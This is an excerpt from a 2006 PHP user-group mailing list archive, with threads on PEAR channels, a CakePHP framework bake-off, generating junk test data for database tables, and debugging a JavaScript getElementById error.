> Speaking of build environments, I've recently fallen helplessly in
> love with phing (http://phing.info/trac/) and wonder if me or someone
> else would be able to make a presentation of that tool. Anyone else
> out there interested in that topic?

People interested in installation and distribution tools should definitely 
take a look at PEAR's 1.4.x platform.  It's quite robust and has a lovely 
feature set.  The biggest new thing in 1.4.x is channels (well, 1.4 has 
been out a while, so perhaps "new" isn't the right word).

With channels, anyone can host a code repository accessible via end 
users's PEAR installers.  This makes it really easy to keep your clients 
up to date.

--Dan

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From mwithington at PLMresearch.com  Mon Jul 31 13:56:04 2006
From: mwithington at PLMresearch.com (Mark Withington)
Date: Mon, 31 Jul 2006 13:56:04 -0400
Subject: [nycphp-talk] CakePHP bakeoff (Was: CakePHP: what do you think	?)
Message-ID: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639AAF@network.PLMresearch.com>

Sounds like a plan Kenneth, contact me off-line and I can hook you up with
the fellow who's going to moderate the panel.
 
mark.withington at BostonPHP.org <mailto:mark.withington at BostonPHP.org> 
 
 

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-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Kenneth Downs
Sent: Monday, July 31, 2006 12:32 PM
To: NYPHP Talk
Subject: Re: [nycphp-talk] CakePHP bakeoff (Was: CakePHP: what do you think?)


Mark Withington wrote: 

If anyone if planning to be in Boston the evening of Thursday, October 5th

06 (yah, I know it's a long shot) we're going to do a PHP framework bake off

with Cake (and one of the core devs), Zend, Horde, etc.

  

This might be fun.  I've got relatives in New Bedford and that's my
birthday, so perhaps the wife and I can make a weekend of it.

But I have an ulterior motive.  I would like to sit in back and use my own
framework to develop the same app that the "bake off" is cooking, then
compare.  Hopefully I could pick up a few things from Cake and perhaps
they'd pick up a few from me, no?


More info here:

http://www.bostonphp.org/component/option,com_gigcal/task,details/gigcal_gig
<http://www.bostonphp.org/component/option,com_gigcal/task,details/gigcal_gi
g> 

s_id,20/



Everyone is welcome.



Cheers,



Mark



-------------------------------------------

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Benevolent Dictator and acting President

BostonPHP.org

"supporting the PHP/OSS community"

PO Box 1354

Plymouth, MA  02362

o: 800-310-3992 ext. 704

f: 508-746-4973

v: 508-746-2383/508-570-2285

m: 508-801-0181

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AIM: BostonPHP



  

-----Original Message-----

From: Baer, Jon [mailto:talk-bounces at lists.nyphp.org
<mailto:talk-bounces at lists.nyphp.org> ] On 

Behalf Of Baer, Jon

Sent: Friday, July 28, 2006 4:15 PM

To: NYPHP Talk

Subject: RE: [nycphp-talk] CakePHP: what do you think?





Using it alot .. im using it after spending a good 6 months 

w/ Ruby on Rails though so my opinion might be one sided, 

overall it gives a good feeling of knowing that when 

something break you know *exactly* where to look .. which 

probably leads to this "agile" thing :-)



The best thing to probably look @ if you decide to pick it up 

is the Cajax helper by rossoft (he writes alot of nice Cake 

plugins - http://rossoft.wordpress.com <http://rossoft.wordpress.com> )
which is like RJS in 

Rails and lets you do that nice Ajaxy stuff w/ 

Prototype/Scriptaculous libraries.  



What probably amazes me the most about it is how they 

seemlessly made it work w/ PHP4 and still use much of the OO hooks. 



I like both RoR and Cake but when it comes to deployment PHP 

wins out in the support area, I still dont think they have 

figured out the best solution in Rails and the fact that the 

Bake command does alot more work make it nicer to work with.



Id be more interested in hearing what Mitch or the Joomla 

folks think about them (I missed the meeting) but definatley 

would have been a question I would have asked ... picking 

frameworks vs. rolling your own ...



- Jon



-----Original Message-----

From: talk-bounces at lists.nyphp.org <mailto:talk-bounces at lists.nyphp.org>  on
behalf of David Mintz

Sent: Fri 7/28/2006 3:28 PM

To: talk at lists.nyphp.org <mailto:talk at lists.nyphp.org> 

Subject: [nycphp-talk] CakePHP: what do you think?

 



I know it's come up briefly on the list in the past, but imho 

it's time once again to ask if people are using cakePHP 

(http://cakephp.org/ <http://cakephp.org/> ) and if so, what do you think?



I think 

it's extremely promising, but I also think it has a bit of a 

initial learning curve, at least for mere mortals, that seems 

to belie the name.



Somebody oughta give an NYPHP presentation about it (said he, 

as he ducked under the desk).



---

David Mintz

http://davidmintz.org/ <http://davidmintz.org/> 



Amendment IV



The right of the people to be secure in their

persons, houses, papers, and effects, against

unreasonable searches and seizures, shall not be

violated, and no Warrants shall issue, but upon

probable cause, supported by Oath or affirmation,

and particularly describing the place to be

searched, and the persons or things to be seized. 

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From danielc at analysisandsolutions.com  Mon Jul 31 14:00:28 2006
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 31 Jul 2006 14:00:28 -0400
Subject: [nycphp-talk] Script or method to "junk" a table(s)?
In-Reply-To: <2932E305-26C7-44ED-A62E-AF075E077A50@jonbaer.com>
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On Wed, Jul 26, 2006 at 10:10:11PM -0400, Jon Baer wrote:
> Does anyone know of any easy script/way to junk a table?
> 
> Im trying to think of a simple solution that while you are developing  
> a schema/app to easily fill it with test data, not really something  
> like fixtures in rails but something that can figure if you have  
> varchar(x), char(x), int(x), blob, etc and fill it with -n rows.

I know you must have thought of the following, but what's the problem with 
it?

<?php
$rows = 55;
for ($i = 0, $i < $rows, $i++) {
    query('insert into foo values (...)');
}

Or just have test rows in your table creation script.

--Dan

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From rolson at aeso.org  Mon Jul 31 14:35:43 2006
From: rolson at aeso.org (Rick Olson)
Date: Mon, 31 Jul 2006 11:35:43 -0700
Subject: [nycphp-talk] Script or method to "junk" a table(s)?
In-Reply-To: <20060731180027.GB21257@panix.com>
References: <2932E305-26C7-44ED-A62E-AF075E077A50@jonbaer.com>
	<20060731180027.GB21257@panix.com>
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I have the same issue, there are many occasions where I need to test my 
scripts with valid but random data from a database.  I haven't run 
across any scripts that can offer "random" data to be inserted into a 
table on a whim.

I've actually considered writing a script to do this for me, but a few 
of the issues that would have to be overcome include intelligently 
inserting the information so that it accurately reflects data in related 
tables (e.g. order_items table would have to relate back to a valid 
order_id in an orders table, etc.)...

I was thinking about writing a script that would do a quick google 
search, follow the site links and grab chunks of data based on a set of 
rules...  still, a bit of a pain.

Has anyone run across something that already does this?

Daniel Convissor wrote:
> On Wed, Jul 26, 2006 at 10:10:11PM -0400, Jon Baer wrote:
>   
>> Does anyone know of any easy script/way to junk a table?
>>
>> Im trying to think of a simple solution that while you are developing  
>> a schema/app to easily fill it with test data, not really something  
>> like fixtures in rails but something that can figure if you have  
>> varchar(x), char(x), int(x), blob, etc and fill it with -n rows.
>>     
>
> I know you must have thought of the following, but what's the problem with 
> it?
>
> <?php
> $rows = 55;
> for ($i = 0, $i < $rows, $i++) {
>     query('insert into foo values (...)');
> }
>
> Or just have test rows in your table creation script.
>
> --Dan
>
>   



From r.mariotti at fdcx.net  Mon Jul 31 15:19:17 2006
From: r.mariotti at fdcx.net (R. Mariotti)
Date: Mon, 31 Jul 2006 15:19:17 -0400
Subject: [nycphp-talk] OT (Slightly) Help with PHP/JavaScript Error
	Resolution?
Message-ID: <44CE57B5.7090705@fdcx.net>

Sorry - I know this is most likely a js issue but it seems to be 
occurring in only ONE of my PHP programs so I thought I would ask here 
because of the VAST amount of insight and expertise available...

I am trying desperately to incorporate a free js routine that hides a 
DIV and then redisplays it when asked using DHTML. (too, too many 
technologies!!!)

This is a canned routine included with a <script src...> statement in 
the appropriate place.  When I try to run the program my js console 
shows the following error ONLY in this ONE PHP program.  SO, what might 
I be doing within this program to cause this js error? (rhetorical)

Can someone perhaps "explain" what this error is trying to tell me and 
how my PHP program can cause it???

Error: document.getElementById("Div" + count) has no properties
Source File: http://www1.xxxxxxxxxxx.com/openpopups.js
Line: 320

Any assistance, pointers, redirection, etc will be G-R-E-A-T-L-Y 
appreciated!

Thank you,

Bob


From edwardpotter at gmail.com  Mon Jul 31 15:20:33 2006
From: edwardpotter at gmail.com (edward potter)
Date: Mon, 31 Jul 2006 15:20:33 -0400
Subject: [nycphp-talk] OT (Slightly) Help with PHP/JavaScript Error
	Resolution?
In-Reply-To: <44CE57B5.7090705@fdcx.net>
References: <44CE57B5.7090705@fdcx.net>
Message-ID: <c5949a380607311220x550cc592qcef89be1a9036c00@mail.gmail.com>

+100,000 answers to that on google.  :-)

"The most common cause of getElementById having no properties is when
you try to access the properties before the page finishes loading."

-ed  :-)



On 7/31/06, R. Mariotti <r.mariotti at fdcx.net> wrote:
> Sorry - I know this is most likely a js issue but it seems to be
> occurring in only ONE of my PHP programs so I thought I would ask here
> because of the VAST amount of insight and expertise available...
>
> I am trying desperately to incorporate a free js routine that hides a
> DIV and then redisplays it when asked using DHTML. (too, too many
> technologies!!!)
>
> This is a canned routine included with a <script src...> statement in
> the appropriate place.  When I try to run the program my js console
> shows the following error ONLY in this ONE PHP program.  SO, what might
> I be doing within this program to cause this js error? (rhetorical)
>
> Can someone perhaps "explain" what this error is trying to tell me and
> how my PHP program can cause it???
>
> Error: document.getElementById("Div" + count) has no properties
> Source File: http://www1.xxxxxxxxxxx.com/openpopups.js
> Line: 320
>
> Any assistance, pointers, redirection, etc will be G-R-E-A-T-L-Y
> appreciated!
>
> Thank you,
>
> Bob
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From tedd at sperling.com  Mon Jul 31 15:35:33 2006
From: tedd at sperling.com (tedd)
Date: Mon, 31 Jul 2006 15:35:33 -0400
Subject: [nycphp-talk] OT (Slightly) Help with PHP/JavaScript Error
 Resolution?
In-Reply-To: <44CE57B5.7090705@fdcx.net>
References: <44CE57B5.7090705@fdcx.net>
Message-ID: <p06230900c0f409b5ab31@[192.168.0.100]>

At 3:19 PM -0400 7/31/06, R. Mariotti wrote:
>Sorry - I know this is most likely a js issue but it seems to be
>occurring in only ONE of my PHP programs so I thought I would ask here
>because of the VAST amount of insight and expertise available...

You're certainly not talking about me, but I'll answer anyway. :-)

>I am trying desperately to incorporate a free js routine that hides a
>DIV and then redisplays it when asked using DHTML.

Bob:

You said "when asked" -- what's triggering the event? If it's a users 
click to a link, then ajax would certainly work to change the 
contents between div's.

For an example, please review:

http://xn--ovg.com/ajax

As for the error, you might try:

document.getElementById("Div" + count).innerHTML

hth's

tedd
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From rmarscher at beaffinitive.com  Mon Jul 31 16:01:57 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Mon, 31 Jul 2006 16:01:57 -0400
Subject: [nycphp-talk] OT (Slightly) Help with PHP/JavaScript
	Error	Resolution?
In-Reply-To: <44CE57B5.7090705@fdcx.net>
References: <44CE57B5.7090705@fdcx.net>
Message-ID: <44CE61B5.7050600@beaffinitive.com>

Like Ed says, it could be that the javascript is called before the page 
has finished rendering the element that has the id you're trying to grab.

It also could just be that the id doesn't exist on the page at all.

i.e. if count is set to 6 and there's no div on the page that has it's 
id set to Div6 like this:
<div id="Div6"> stuff in here </div>

Then
document.getElementById("Div" + count)
doesn't find anything.

The full line is probably something like
document.getElementById('Div" + count).style.display = 'none';

The extra .style.display means it is trying to access that property of 
what document.getElementById('Div" + count) is returning.  It's not 
finding an element with that id which is why the error says that it 
doesn't have any properties.

Are you the one adding the id's to the divs in your html or php?  If 
not, it might be getting automatically done by your javascript and 
perhaps you've manually added an id to a div and is conflicting with the 
javascript's auto handling of it?  Just taking stabs in the dark here... 
  Might be able to help more if I saw the code.

<aside>Anyone else notice that example link actually goes to porn site? 
Too funny...</aside>

-Rob


R. Mariotti wrote:
> Sorry - I know this is most likely a js issue but it seems to be 
> occurring in only ONE of my PHP programs so I thought I would ask here 
> because of the VAST amount of insight and expertise available...
> 
> I am trying desperately to incorporate a free js routine that hides a 
> DIV and then redisplays it when asked using DHTML. (too, too many 
> technologies!!!)
> 
> This is a canned routine included with a <script src...> statement in 
> the appropriate place.  When I try to run the program my js console 
> shows the following error ONLY in this ONE PHP program.  SO, what might 
> I be doing within this program to cause this js error? (rhetorical)
> 
> Can someone perhaps "explain" what this error is trying to tell me and 
> how my PHP program can cause it???
> 
> Error: document.getElementById("Div" + count) has no properties
> Source File: http://www1.xxxxxxxxxxx.com/openpopups.js
> Line: 320
> 
> Any assistance, pointers, redirection, etc will be G-R-E-A-T-L-Y 
> appreciated!
> 
> Thank you,
> 
> Bob
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